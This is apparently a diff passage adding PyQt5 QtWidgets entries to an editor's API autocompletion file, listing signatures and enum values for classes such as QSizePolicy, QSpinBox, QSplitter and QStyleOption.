+QtWidgets.QSizeGrip.hideEvent?4(QHideEvent) +QtWidgets.QSizePolicy.ControlType?10 +QtWidgets.QSizePolicy.ControlType.DefaultType?10 +QtWidgets.QSizePolicy.ControlType.ButtonBox?10 +QtWidgets.QSizePolicy.ControlType.CheckBox?10 +QtWidgets.QSizePolicy.ControlType.ComboBox?10 +QtWidgets.QSizePolicy.ControlType.Frame?10 +QtWidgets.QSizePolicy.ControlType.GroupBox?10 +QtWidgets.QSizePolicy.ControlType.Label?10 +QtWidgets.QSizePolicy.ControlType.Line?10 +QtWidgets.QSizePolicy.ControlType.LineEdit?10 +QtWidgets.QSizePolicy.ControlType.PushButton?10 +QtWidgets.QSizePolicy.ControlType.RadioButton?10 +QtWidgets.QSizePolicy.ControlType.Slider?10 +QtWidgets.QSizePolicy.ControlType.SpinBox?10 +QtWidgets.QSizePolicy.ControlType.TabWidget?10 +QtWidgets.QSizePolicy.ControlType.ToolButton?10 +QtWidgets.QSizePolicy.Policy?10 +QtWidgets.QSizePolicy.Policy.Fixed?10 +QtWidgets.QSizePolicy.Policy.Minimum?10 +QtWidgets.QSizePolicy.Policy.Maximum?10 +QtWidgets.QSizePolicy.Policy.Preferred?10 +QtWidgets.QSizePolicy.Policy.MinimumExpanding?10 +QtWidgets.QSizePolicy.Policy.Expanding?10 +QtWidgets.QSizePolicy.Policy.Ignored?10 +QtWidgets.QSizePolicy.PolicyFlag?10 +QtWidgets.QSizePolicy.PolicyFlag.GrowFlag?10 +QtWidgets.QSizePolicy.PolicyFlag.ExpandFlag?10 +QtWidgets.QSizePolicy.PolicyFlag.ShrinkFlag?10 +QtWidgets.QSizePolicy.PolicyFlag.IgnoreFlag?10 +QtWidgets.QSizePolicy?1() +QtWidgets.QSizePolicy.__init__?1(self) +QtWidgets.QSizePolicy?1(QSizePolicy.Policy, QSizePolicy.Policy, QSizePolicy.ControlType type=QSizePolicy.DefaultType) +QtWidgets.QSizePolicy.__init__?1(self, QSizePolicy.Policy, QSizePolicy.Policy, QSizePolicy.ControlType type=QSizePolicy.DefaultType) +QtWidgets.QSizePolicy?1(QVariant) +QtWidgets.QSizePolicy.__init__?1(self, QVariant) +QtWidgets.QSizePolicy?1(QSizePolicy) +QtWidgets.QSizePolicy.__init__?1(self, QSizePolicy) +QtWidgets.QSizePolicy.horizontalPolicy?4() -> QSizePolicy.Policy +QtWidgets.QSizePolicy.verticalPolicy?4() -> QSizePolicy.Policy +QtWidgets.QSizePolicy.setHorizontalPolicy?4(QSizePolicy.Policy) +QtWidgets.QSizePolicy.setVerticalPolicy?4(QSizePolicy.Policy) +QtWidgets.QSizePolicy.expandingDirections?4() -> Qt.Orientations +QtWidgets.QSizePolicy.setHeightForWidth?4(bool) +QtWidgets.QSizePolicy.hasHeightForWidth?4() -> bool +QtWidgets.QSizePolicy.horizontalStretch?4() -> int +QtWidgets.QSizePolicy.verticalStretch?4() -> int +QtWidgets.QSizePolicy.setHorizontalStretch?4(int) +QtWidgets.QSizePolicy.setVerticalStretch?4(int) +QtWidgets.QSizePolicy.transpose?4() +QtWidgets.QSizePolicy.transposed?4() -> QSizePolicy +QtWidgets.QSizePolicy.controlType?4() -> QSizePolicy.ControlType +QtWidgets.QSizePolicy.setControlType?4(QSizePolicy.ControlType) +QtWidgets.QSizePolicy.setWidthForHeight?4(bool) +QtWidgets.QSizePolicy.hasWidthForHeight?4() -> bool +QtWidgets.QSizePolicy.retainSizeWhenHidden?4() -> bool +QtWidgets.QSizePolicy.setRetainSizeWhenHidden?4(bool) +QtWidgets.QSizePolicy.ControlTypes?1() +QtWidgets.QSizePolicy.ControlTypes.__init__?1(self) +QtWidgets.QSizePolicy.ControlTypes?1(int) +QtWidgets.QSizePolicy.ControlTypes.__init__?1(self, int) +QtWidgets.QSizePolicy.ControlTypes?1(QSizePolicy.ControlTypes) +QtWidgets.QSizePolicy.ControlTypes.__init__?1(self, QSizePolicy.ControlTypes) +QtWidgets.QSlider.TickPosition?10 +QtWidgets.QSlider.TickPosition.NoTicks?10 +QtWidgets.QSlider.TickPosition.TicksAbove?10 +QtWidgets.QSlider.TickPosition.TicksLeft?10 +QtWidgets.QSlider.TickPosition.TicksBelow?10 +QtWidgets.QSlider.TickPosition.TicksRight?10 +QtWidgets.QSlider.TickPosition.TicksBothSides?10 +QtWidgets.QSlider?1(QWidget parent=None) +QtWidgets.QSlider.__init__?1(self, QWidget parent=None) +QtWidgets.QSlider?1(Qt.Orientation, QWidget parent=None) +QtWidgets.QSlider.__init__?1(self, Qt.Orientation, QWidget parent=None) +QtWidgets.QSlider.sizeHint?4() -> QSize +QtWidgets.QSlider.minimumSizeHint?4() -> QSize +QtWidgets.QSlider.setTickPosition?4(QSlider.TickPosition) +QtWidgets.QSlider.tickPosition?4() -> QSlider.TickPosition +QtWidgets.QSlider.setTickInterval?4(int) +QtWidgets.QSlider.tickInterval?4() -> int +QtWidgets.QSlider.event?4(QEvent) -> bool +QtWidgets.QSlider.initStyleOption?4(QStyleOptionSlider) +QtWidgets.QSlider.paintEvent?4(QPaintEvent) +QtWidgets.QSlider.mousePressEvent?4(QMouseEvent) +QtWidgets.QSlider.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QSlider.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QSpinBox?1(QWidget parent=None) +QtWidgets.QSpinBox.__init__?1(self, QWidget parent=None) +QtWidgets.QSpinBox.value?4() -> int +QtWidgets.QSpinBox.prefix?4() -> QString +QtWidgets.QSpinBox.setPrefix?4(QString) +QtWidgets.QSpinBox.suffix?4() -> QString +QtWidgets.QSpinBox.setSuffix?4(QString) +QtWidgets.QSpinBox.cleanText?4() -> QString +QtWidgets.QSpinBox.singleStep?4() -> int +QtWidgets.QSpinBox.setSingleStep?4(int) +QtWidgets.QSpinBox.minimum?4() -> int +QtWidgets.QSpinBox.setMinimum?4(int) +QtWidgets.QSpinBox.maximum?4() -> int +QtWidgets.QSpinBox.setMaximum?4(int) +QtWidgets.QSpinBox.setRange?4(int, int) +QtWidgets.QSpinBox.validate?4(QString, int) -> (QValidator.State, QString, int) +QtWidgets.QSpinBox.valueFromText?4(QString) -> int +QtWidgets.QSpinBox.textFromValue?4(int) -> QString +QtWidgets.QSpinBox.fixup?4(QString) -> QString +QtWidgets.QSpinBox.event?4(QEvent) -> bool +QtWidgets.QSpinBox.setValue?4(int) +QtWidgets.QSpinBox.valueChanged?4(int) +QtWidgets.QSpinBox.valueChanged?4(QString) +QtWidgets.QSpinBox.textChanged?4(QString) +QtWidgets.QSpinBox.displayIntegerBase?4() -> int +QtWidgets.QSpinBox.setDisplayIntegerBase?4(int) +QtWidgets.QSpinBox.stepType?4() -> QAbstractSpinBox.StepType +QtWidgets.QSpinBox.setStepType?4(QAbstractSpinBox.StepType) +QtWidgets.QDoubleSpinBox?1(QWidget parent=None) +QtWidgets.QDoubleSpinBox.__init__?1(self, QWidget parent=None) +QtWidgets.QDoubleSpinBox.value?4() -> float +QtWidgets.QDoubleSpinBox.prefix?4() -> QString +QtWidgets.QDoubleSpinBox.setPrefix?4(QString) +QtWidgets.QDoubleSpinBox.suffix?4() -> QString +QtWidgets.QDoubleSpinBox.setSuffix?4(QString) +QtWidgets.QDoubleSpinBox.cleanText?4() -> QString +QtWidgets.QDoubleSpinBox.singleStep?4() -> float +QtWidgets.QDoubleSpinBox.setSingleStep?4(float) +QtWidgets.QDoubleSpinBox.minimum?4() -> float +QtWidgets.QDoubleSpinBox.setMinimum?4(float) +QtWidgets.QDoubleSpinBox.maximum?4() -> float +QtWidgets.QDoubleSpinBox.setMaximum?4(float) +QtWidgets.QDoubleSpinBox.setRange?4(float, float) +QtWidgets.QDoubleSpinBox.decimals?4() -> int +QtWidgets.QDoubleSpinBox.setDecimals?4(int) +QtWidgets.QDoubleSpinBox.validate?4(QString, int) -> (QValidator.State, QString, int) +QtWidgets.QDoubleSpinBox.valueFromText?4(QString) -> float +QtWidgets.QDoubleSpinBox.textFromValue?4(float) -> QString +QtWidgets.QDoubleSpinBox.fixup?4(QString) -> QString +QtWidgets.QDoubleSpinBox.setValue?4(float) +QtWidgets.QDoubleSpinBox.valueChanged?4(float) +QtWidgets.QDoubleSpinBox.valueChanged?4(QString) +QtWidgets.QDoubleSpinBox.textChanged?4(QString) +QtWidgets.QDoubleSpinBox.stepType?4() -> QAbstractSpinBox.StepType +QtWidgets.QDoubleSpinBox.setStepType?4(QAbstractSpinBox.StepType) +QtWidgets.QSplashScreen?1(QPixmap pixmap=QPixmap(), Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QSplashScreen.__init__?1(self, QPixmap pixmap=QPixmap(), Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QSplashScreen?1(QWidget, QPixmap pixmap=QPixmap(), Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QSplashScreen.__init__?1(self, QWidget, QPixmap pixmap=QPixmap(), Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QSplashScreen?1(QScreen, QPixmap pixmap=QPixmap(), Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QSplashScreen.__init__?1(self, QScreen, QPixmap pixmap=QPixmap(), Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QSplashScreen.setPixmap?4(QPixmap) +QtWidgets.QSplashScreen.pixmap?4() -> QPixmap +QtWidgets.QSplashScreen.finish?4(QWidget) +QtWidgets.QSplashScreen.repaint?4() +QtWidgets.QSplashScreen.message?4() -> QString +QtWidgets.QSplashScreen.showMessage?4(QString, int alignment=Qt.AlignLeft, QColor color=Qt.black) +QtWidgets.QSplashScreen.clearMessage?4() +QtWidgets.QSplashScreen.messageChanged?4(QString) +QtWidgets.QSplashScreen.drawContents?4(QPainter) +QtWidgets.QSplashScreen.event?4(QEvent) -> bool +QtWidgets.QSplashScreen.mousePressEvent?4(QMouseEvent) +QtWidgets.QSplitter?1(QWidget parent=None) +QtWidgets.QSplitter.__init__?1(self, QWidget parent=None) +QtWidgets.QSplitter?1(Qt.Orientation, QWidget parent=None) +QtWidgets.QSplitter.__init__?1(self, Qt.Orientation, QWidget parent=None) +QtWidgets.QSplitter.addWidget?4(QWidget) +QtWidgets.QSplitter.insertWidget?4(int, QWidget) +QtWidgets.QSplitter.setOrientation?4(Qt.Orientation) +QtWidgets.QSplitter.orientation?4() -> Qt.Orientation +QtWidgets.QSplitter.setChildrenCollapsible?4(bool) +QtWidgets.QSplitter.childrenCollapsible?4() -> bool +QtWidgets.QSplitter.setCollapsible?4(int, bool) +QtWidgets.QSplitter.isCollapsible?4(int) -> bool +QtWidgets.QSplitter.setOpaqueResize?4(bool opaque=True) +QtWidgets.QSplitter.opaqueResize?4() -> bool +QtWidgets.QSplitter.refresh?4() +QtWidgets.QSplitter.sizeHint?4() -> QSize +QtWidgets.QSplitter.minimumSizeHint?4() -> QSize +QtWidgets.QSplitter.sizes?4() -> unknown-type +QtWidgets.QSplitter.setSizes?4(unknown-type) +QtWidgets.QSplitter.saveState?4() -> QByteArray +QtWidgets.QSplitter.restoreState?4(QByteArray) -> bool +QtWidgets.QSplitter.handleWidth?4() -> int +QtWidgets.QSplitter.setHandleWidth?4(int) +QtWidgets.QSplitter.indexOf?4(QWidget) -> int +QtWidgets.QSplitter.widget?4(int) -> QWidget +QtWidgets.QSplitter.count?4() -> int +QtWidgets.QSplitter.getRange?4(int) -> (int, int) +QtWidgets.QSplitter.handle?4(int) -> QSplitterHandle +QtWidgets.QSplitter.setStretchFactor?4(int, int) +QtWidgets.QSplitter.replaceWidget?4(int, QWidget) -> QWidget +QtWidgets.QSplitter.splitterMoved?4(int, int) +QtWidgets.QSplitter.createHandle?4() -> QSplitterHandle +QtWidgets.QSplitter.childEvent?4(QChildEvent) +QtWidgets.QSplitter.event?4(QEvent) -> bool +QtWidgets.QSplitter.resizeEvent?4(QResizeEvent) +QtWidgets.QSplitter.changeEvent?4(QEvent) +QtWidgets.QSplitter.moveSplitter?4(int, int) +QtWidgets.QSplitter.setRubberBand?4(int) +QtWidgets.QSplitter.closestLegalPosition?4(int, int) -> int +QtWidgets.QSplitterHandle?1(Qt.Orientation, QSplitter) +QtWidgets.QSplitterHandle.__init__?1(self, Qt.Orientation, QSplitter) +QtWidgets.QSplitterHandle.setOrientation?4(Qt.Orientation) +QtWidgets.QSplitterHandle.orientation?4() -> Qt.Orientation +QtWidgets.QSplitterHandle.opaqueResize?4() -> bool +QtWidgets.QSplitterHandle.splitter?4() -> QSplitter +QtWidgets.QSplitterHandle.sizeHint?4() -> QSize +QtWidgets.QSplitterHandle.paintEvent?4(QPaintEvent) +QtWidgets.QSplitterHandle.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QSplitterHandle.mousePressEvent?4(QMouseEvent) +QtWidgets.QSplitterHandle.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QSplitterHandle.event?4(QEvent) -> bool +QtWidgets.QSplitterHandle.moveSplitter?4(int) +QtWidgets.QSplitterHandle.closestLegalPosition?4(int) -> int +QtWidgets.QSplitterHandle.resizeEvent?4(QResizeEvent) +QtWidgets.QStackedLayout.StackingMode?10 +QtWidgets.QStackedLayout.StackingMode.StackOne?10 +QtWidgets.QStackedLayout.StackingMode.StackAll?10 +QtWidgets.QStackedLayout?1() +QtWidgets.QStackedLayout.__init__?1(self) +QtWidgets.QStackedLayout?1(QWidget) +QtWidgets.QStackedLayout.__init__?1(self, QWidget) +QtWidgets.QStackedLayout?1(QLayout) +QtWidgets.QStackedLayout.__init__?1(self, QLayout) +QtWidgets.QStackedLayout.addWidget?4(QWidget) -> int +QtWidgets.QStackedLayout.insertWidget?4(int, QWidget) -> int +QtWidgets.QStackedLayout.currentWidget?4() -> QWidget +QtWidgets.QStackedLayout.currentIndex?4() -> int +QtWidgets.QStackedLayout.widget?4(int) -> QWidget +QtWidgets.QStackedLayout.widget?4() -> QWidget +QtWidgets.QStackedLayout.count?4() -> int +QtWidgets.QStackedLayout.addItem?4(QLayoutItem) +QtWidgets.QStackedLayout.sizeHint?4() -> QSize +QtWidgets.QStackedLayout.minimumSize?4() -> QSize +QtWidgets.QStackedLayout.itemAt?4(int) -> QLayoutItem +QtWidgets.QStackedLayout.takeAt?4(int) -> QLayoutItem +QtWidgets.QStackedLayout.setGeometry?4(QRect) +QtWidgets.QStackedLayout.widgetRemoved?4(int) +QtWidgets.QStackedLayout.currentChanged?4(int) +QtWidgets.QStackedLayout.setCurrentIndex?4(int) +QtWidgets.QStackedLayout.setCurrentWidget?4(QWidget) +QtWidgets.QStackedLayout.stackingMode?4() -> QStackedLayout.StackingMode +QtWidgets.QStackedLayout.setStackingMode?4(QStackedLayout.StackingMode) +QtWidgets.QStackedLayout.hasHeightForWidth?4() -> bool +QtWidgets.QStackedLayout.heightForWidth?4(int) -> int +QtWidgets.QStackedWidget?1(QWidget parent=None) +QtWidgets.QStackedWidget.__init__?1(self, QWidget parent=None) +QtWidgets.QStackedWidget.addWidget?4(QWidget) -> int +QtWidgets.QStackedWidget.insertWidget?4(int, QWidget) -> int +QtWidgets.QStackedWidget.removeWidget?4(QWidget) +QtWidgets.QStackedWidget.currentWidget?4() -> QWidget +QtWidgets.QStackedWidget.currentIndex?4() -> int +QtWidgets.QStackedWidget.indexOf?4(QWidget) -> int +QtWidgets.QStackedWidget.widget?4(int) -> QWidget +QtWidgets.QStackedWidget.count?4() -> int +QtWidgets.QStackedWidget.setCurrentIndex?4(int) +QtWidgets.QStackedWidget.setCurrentWidget?4(QWidget) +QtWidgets.QStackedWidget.currentChanged?4(int) +QtWidgets.QStackedWidget.widgetRemoved?4(int) +QtWidgets.QStackedWidget.event?4(QEvent) -> bool +QtWidgets.QStatusBar?1(QWidget parent=None) +QtWidgets.QStatusBar.__init__?1(self, QWidget parent=None) +QtWidgets.QStatusBar.addWidget?4(QWidget, int stretch=0) +QtWidgets.QStatusBar.addPermanentWidget?4(QWidget, int stretch=0) +QtWidgets.QStatusBar.removeWidget?4(QWidget) +QtWidgets.QStatusBar.setSizeGripEnabled?4(bool) +QtWidgets.QStatusBar.isSizeGripEnabled?4() -> bool +QtWidgets.QStatusBar.currentMessage?4() -> QString +QtWidgets.QStatusBar.insertWidget?4(int, QWidget, int stretch=0) -> int +QtWidgets.QStatusBar.insertPermanentWidget?4(int, QWidget, int stretch=0) -> int +QtWidgets.QStatusBar.showMessage?4(QString, int msecs=0) +QtWidgets.QStatusBar.clearMessage?4() +QtWidgets.QStatusBar.messageChanged?4(QString) +QtWidgets.QStatusBar.paintEvent?4(QPaintEvent) +QtWidgets.QStatusBar.resizeEvent?4(QResizeEvent) +QtWidgets.QStatusBar.reformat?4() +QtWidgets.QStatusBar.hideOrShow?4() +QtWidgets.QStatusBar.event?4(QEvent) -> bool +QtWidgets.QStatusBar.showEvent?4(QShowEvent) +QtWidgets.QStyle.State?1() +QtWidgets.QStyle.State.__init__?1(self) +QtWidgets.QStyle.State?1(int) +QtWidgets.QStyle.State.__init__?1(self, int) +QtWidgets.QStyle.State?1(QStyle.State) +QtWidgets.QStyle.State.__init__?1(self, QStyle.State) +QtWidgets.QStyle.SubControls?1() +QtWidgets.QStyle.SubControls.__init__?1(self) +QtWidgets.QStyle.SubControls?1(int) +QtWidgets.QStyle.SubControls.__init__?1(self, int) +QtWidgets.QStyle.SubControls?1(QStyle.SubControls) +QtWidgets.QStyle.SubControls.__init__?1(self, QStyle.SubControls) +QtWidgets.QStyledItemDelegate?1(QObject parent=None) +QtWidgets.QStyledItemDelegate.__init__?1(self, QObject parent=None) +QtWidgets.QStyledItemDelegate.paint?4(QPainter, QStyleOptionViewItem, QModelIndex) +QtWidgets.QStyledItemDelegate.sizeHint?4(QStyleOptionViewItem, QModelIndex) -> QSize +QtWidgets.QStyledItemDelegate.createEditor?4(QWidget, QStyleOptionViewItem, QModelIndex) -> QWidget +QtWidgets.QStyledItemDelegate.setEditorData?4(QWidget, QModelIndex) +QtWidgets.QStyledItemDelegate.setModelData?4(QWidget, QAbstractItemModel, QModelIndex) +QtWidgets.QStyledItemDelegate.updateEditorGeometry?4(QWidget, QStyleOptionViewItem, QModelIndex) +QtWidgets.QStyledItemDelegate.itemEditorFactory?4() -> QItemEditorFactory +QtWidgets.QStyledItemDelegate.setItemEditorFactory?4(QItemEditorFactory) +QtWidgets.QStyledItemDelegate.displayText?4(QVariant, QLocale) -> QString +QtWidgets.QStyledItemDelegate.initStyleOption?4(QStyleOptionViewItem, QModelIndex) +QtWidgets.QStyledItemDelegate.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QStyledItemDelegate.editorEvent?4(QEvent, QAbstractItemModel, QStyleOptionViewItem, QModelIndex) -> bool +QtWidgets.QStyleFactory?1() +QtWidgets.QStyleFactory.__init__?1(self) +QtWidgets.QStyleFactory?1(QStyleFactory) +QtWidgets.QStyleFactory.__init__?1(self, QStyleFactory) +QtWidgets.QStyleFactory.keys?4() -> QStringList +QtWidgets.QStyleFactory.create?4(QString) -> QStyle +QtWidgets.QStyleOption.StyleOptionVersion?10 +QtWidgets.QStyleOption.StyleOptionVersion.Version?10 +QtWidgets.QStyleOption.StyleOptionType?10 +QtWidgets.QStyleOption.StyleOptionType.Type?10 +QtWidgets.QStyleOption.OptionType?10 +QtWidgets.QStyleOption.OptionType.SO_Default?10 +QtWidgets.QStyleOption.OptionType.SO_FocusRect?10 +QtWidgets.QStyleOption.OptionType.SO_Button?10 +QtWidgets.QStyleOption.OptionType.SO_Tab?10 +QtWidgets.QStyleOption.OptionType.SO_MenuItem?10 +QtWidgets.QStyleOption.OptionType.SO_Frame?10 +QtWidgets.QStyleOption.OptionType.SO_ProgressBar?10 +QtWidgets.QStyleOption.OptionType.SO_ToolBox?10 +QtWidgets.QStyleOption.OptionType.SO_Header?10 +QtWidgets.QStyleOption.OptionType.SO_DockWidget?10 +QtWidgets.QStyleOption.OptionType.SO_ViewItem?10 +QtWidgets.QStyleOption.OptionType.SO_TabWidgetFrame?10 +QtWidgets.QStyleOption.OptionType.SO_TabBarBase?10 +QtWidgets.QStyleOption.OptionType.SO_RubberBand?10 +QtWidgets.QStyleOption.OptionType.SO_ToolBar?10 +QtWidgets.QStyleOption.OptionType.SO_Complex?10 +QtWidgets.QStyleOption.OptionType.SO_Slider?10 +QtWidgets.QStyleOption.OptionType.SO_SpinBox?10 +QtWidgets.QStyleOption.OptionType.SO_ToolButton?10 +QtWidgets.QStyleOption.OptionType.SO_ComboBox?10 +QtWidgets.QStyleOption.OptionType.SO_TitleBar?10 +QtWidgets.QStyleOption.OptionType.SO_GroupBox?10 +QtWidgets.QStyleOption.OptionType.SO_ComplexCustomBase?10 +QtWidgets.QStyleOption.OptionType.SO_GraphicsItem?10 +QtWidgets.QStyleOption.OptionType.SO_SizeGrip?10 +QtWidgets.QStyleOption.OptionType.SO_CustomBase?10 +QtWidgets.QStyleOption.direction?7 +QtWidgets.QStyleOption.fontMetrics?7 +QtWidgets.QStyleOption.palette?7 +QtWidgets.QStyleOption.rect?7 +QtWidgets.QStyleOption.state?7 +QtWidgets.QStyleOption.styleObject?7 +QtWidgets.QStyleOption.type?7 +QtWidgets.QStyleOption.version?7 +QtWidgets.QStyleOption?1(int version=QStyleOption.StyleOptionVersion.Version, int type=QStyleOption.OptionType.SO_Default) +QtWidgets.QStyleOption.__init__?1(self, int version=QStyleOption.StyleOptionVersion.Version, int type=QStyleOption.OptionType.SO_Default) +QtWidgets.QStyleOption?1(QStyleOption) +QtWidgets.QStyleOption.__init__?1(self, QStyleOption) +QtWidgets.QStyleOption.initFrom?4(QWidget) +QtWidgets.QStyleOptionFocusRect.StyleOptionVersion?10 +QtWidgets.QStyleOptionFocusRect.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionFocusRect.StyleOptionType?10 +QtWidgets.QStyleOptionFocusRect.StyleOptionType.Type?10 +QtWidgets.QStyleOptionFocusRect.backgroundColor?7 +QtWidgets.QStyleOptionFocusRect?1() +QtWidgets.QStyleOptionFocusRect.__init__?1(self) +QtWidgets.QStyleOptionFocusRect?1(QStyleOptionFocusRect) +QtWidgets.QStyleOptionFocusRect.__init__?1(self, QStyleOptionFocusRect) +QtWidgets.QStyleOptionFrame.FrameFeature?10 +QtWidgets.QStyleOptionFrame.FrameFeature.None_?10 +QtWidgets.QStyleOptionFrame.FrameFeature.Flat?10 +QtWidgets.QStyleOptionFrame.FrameFeature.Rounded?10 +QtWidgets.QStyleOptionFrame.StyleOptionVersion?10 +QtWidgets.QStyleOptionFrame.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionFrame.StyleOptionType?10 +QtWidgets.QStyleOptionFrame.StyleOptionType.Type?10 +QtWidgets.QStyleOptionFrame.features?7 +QtWidgets.QStyleOptionFrame.frameShape?7 +QtWidgets.QStyleOptionFrame.lineWidth?7 +QtWidgets.QStyleOptionFrame.midLineWidth?7 +QtWidgets.QStyleOptionFrame?1() +QtWidgets.QStyleOptionFrame.__init__?1(self) +QtWidgets.QStyleOptionFrame?1(QStyleOptionFrame) +QtWidgets.QStyleOptionFrame.__init__?1(self, QStyleOptionFrame) +QtWidgets.QStyleOptionFrame.FrameFeatures?1() +QtWidgets.QStyleOptionFrame.FrameFeatures.__init__?1(self) +QtWidgets.QStyleOptionFrame.FrameFeatures?1(int) +QtWidgets.QStyleOptionFrame.FrameFeatures.__init__?1(self, int) +QtWidgets.QStyleOptionFrame.FrameFeatures?1(QStyleOptionFrame.FrameFeatures) +QtWidgets.QStyleOptionFrame.FrameFeatures.__init__?1(self, QStyleOptionFrame.FrameFeatures) +QtWidgets.QStyleOptionTabWidgetFrame.StyleOptionVersion?10 +QtWidgets.QStyleOptionTabWidgetFrame.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionTabWidgetFrame.StyleOptionType?10 +QtWidgets.QStyleOptionTabWidgetFrame.StyleOptionType.Type?10 +QtWidgets.QStyleOptionTabWidgetFrame.leftCornerWidgetSize?7 +QtWidgets.QStyleOptionTabWidgetFrame.lineWidth?7 +QtWidgets.QStyleOptionTabWidgetFrame.midLineWidth?7 +QtWidgets.QStyleOptionTabWidgetFrame.rightCornerWidgetSize?7 +QtWidgets.QStyleOptionTabWidgetFrame.selectedTabRect?7 +QtWidgets.QStyleOptionTabWidgetFrame.shape?7 +QtWidgets.QStyleOptionTabWidgetFrame.tabBarRect?7 +QtWidgets.QStyleOptionTabWidgetFrame.tabBarSize?7 +QtWidgets.QStyleOptionTabWidgetFrame?1() +QtWidgets.QStyleOptionTabWidgetFrame.__init__?1(self) +QtWidgets.QStyleOptionTabWidgetFrame?1(QStyleOptionTabWidgetFrame) +QtWidgets.QStyleOptionTabWidgetFrame.__init__?1(self, QStyleOptionTabWidgetFrame) +QtWidgets.QStyleOptionTabBarBase.StyleOptionVersion?10 +QtWidgets.QStyleOptionTabBarBase.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionTabBarBase.StyleOptionType?10 +QtWidgets.QStyleOptionTabBarBase.StyleOptionType.Type?10 +QtWidgets.QStyleOptionTabBarBase.documentMode?7 +QtWidgets.QStyleOptionTabBarBase.selectedTabRect?7 +QtWidgets.QStyleOptionTabBarBase.shape?7 +QtWidgets.QStyleOptionTabBarBase.tabBarRect?7 +QtWidgets.QStyleOptionTabBarBase?1() +QtWidgets.QStyleOptionTabBarBase.__init__?1(self) +QtWidgets.QStyleOptionTabBarBase?1(QStyleOptionTabBarBase) +QtWidgets.QStyleOptionTabBarBase.__init__?1(self, QStyleOptionTabBarBase) +QtWidgets.QStyleOptionHeader.SortIndicator?10 +QtWidgets.QStyleOptionHeader.SortIndicator.None_?10 +QtWidgets.QStyleOptionHeader.SortIndicator.SortUp?10 +QtWidgets.QStyleOptionHeader.SortIndicator.SortDown?10 +QtWidgets.QStyleOptionHeader.SelectedPosition?10 +QtWidgets.QStyleOptionHeader.SelectedPosition.NotAdjacent?10 +QtWidgets.QStyleOptionHeader.SelectedPosition.NextIsSelected?10 +QtWidgets.QStyleOptionHeader.SelectedPosition.PreviousIsSelected?10 +QtWidgets.QStyleOptionHeader.SelectedPosition.NextAndPreviousAreSelected?10 +QtWidgets.QStyleOptionHeader.SectionPosition?10 +QtWidgets.QStyleOptionHeader.SectionPosition.Beginning?10 +QtWidgets.QStyleOptionHeader.SectionPosition.Middle?10 +QtWidgets.QStyleOptionHeader.SectionPosition.End?10 +QtWidgets.QStyleOptionHeader.SectionPosition.OnlyOneSection?10 +QtWidgets.QStyleOptionHeader.StyleOptionVersion?10 +QtWidgets.QStyleOptionHeader.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionHeader.StyleOptionType?10 +QtWidgets.QStyleOptionHeader.StyleOptionType.Type?10 +QtWidgets.QStyleOptionHeader.icon?7 +QtWidgets.QStyleOptionHeader.iconAlignment?7 +QtWidgets.QStyleOptionHeader.orientation?7 +QtWidgets.QStyleOptionHeader.position?7 +QtWidgets.QStyleOptionHeader.section?7 +QtWidgets.QStyleOptionHeader.selectedPosition?7 +QtWidgets.QStyleOptionHeader.sortIndicator?7 +QtWidgets.QStyleOptionHeader.text?7 +QtWidgets.QStyleOptionHeader.textAlignment?7 +QtWidgets.QStyleOptionHeader?1() +QtWidgets.QStyleOptionHeader.__init__?1(self) +QtWidgets.QStyleOptionHeader?1(QStyleOptionHeader) +QtWidgets.QStyleOptionHeader.__init__?1(self, QStyleOptionHeader) +QtWidgets.QStyleOptionButton.ButtonFeature?10 +QtWidgets.QStyleOptionButton.ButtonFeature.None_?10 +QtWidgets.QStyleOptionButton.ButtonFeature.Flat?10 +QtWidgets.QStyleOptionButton.ButtonFeature.HasMenu?10 +QtWidgets.QStyleOptionButton.ButtonFeature.DefaultButton?10 +QtWidgets.QStyleOptionButton.ButtonFeature.AutoDefaultButton?10 +QtWidgets.QStyleOptionButton.ButtonFeature.CommandLinkButton?10 +QtWidgets.QStyleOptionButton.StyleOptionVersion?10 +QtWidgets.QStyleOptionButton.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionButton.StyleOptionType?10 +QtWidgets.QStyleOptionButton.StyleOptionType.Type?10 +QtWidgets.QStyleOptionButton.features?7 +QtWidgets.QStyleOptionButton.icon?7 +QtWidgets.QStyleOptionButton.iconSize?7 +QtWidgets.QStyleOptionButton.text?7 +QtWidgets.QStyleOptionButton?1() +QtWidgets.QStyleOptionButton.__init__?1(self) +QtWidgets.QStyleOptionButton?1(QStyleOptionButton) +QtWidgets.QStyleOptionButton.__init__?1(self, QStyleOptionButton) +QtWidgets.QStyleOptionButton.ButtonFeatures?1() +QtWidgets.QStyleOptionButton.ButtonFeatures.__init__?1(self) +QtWidgets.QStyleOptionButton.ButtonFeatures?1(int) +QtWidgets.QStyleOptionButton.ButtonFeatures.__init__?1(self, int) +QtWidgets.QStyleOptionButton.ButtonFeatures?1(QStyleOptionButton.ButtonFeatures) +QtWidgets.QStyleOptionButton.ButtonFeatures.__init__?1(self, QStyleOptionButton.ButtonFeatures) +QtWidgets.QStyleOptionTab.TabFeature?10 +QtWidgets.QStyleOptionTab.TabFeature.None_?10 +QtWidgets.QStyleOptionTab.TabFeature.HasFrame?10 +QtWidgets.QStyleOptionTab.CornerWidget?10 +QtWidgets.QStyleOptionTab.CornerWidget.NoCornerWidgets?10 +QtWidgets.QStyleOptionTab.CornerWidget.LeftCornerWidget?10 +QtWidgets.QStyleOptionTab.CornerWidget.RightCornerWidget?10 +QtWidgets.QStyleOptionTab.SelectedPosition?10 +QtWidgets.QStyleOptionTab.SelectedPosition.NotAdjacent?10 +QtWidgets.QStyleOptionTab.SelectedPosition.NextIsSelected?10 +QtWidgets.QStyleOptionTab.SelectedPosition.PreviousIsSelected?10 +QtWidgets.QStyleOptionTab.TabPosition?10 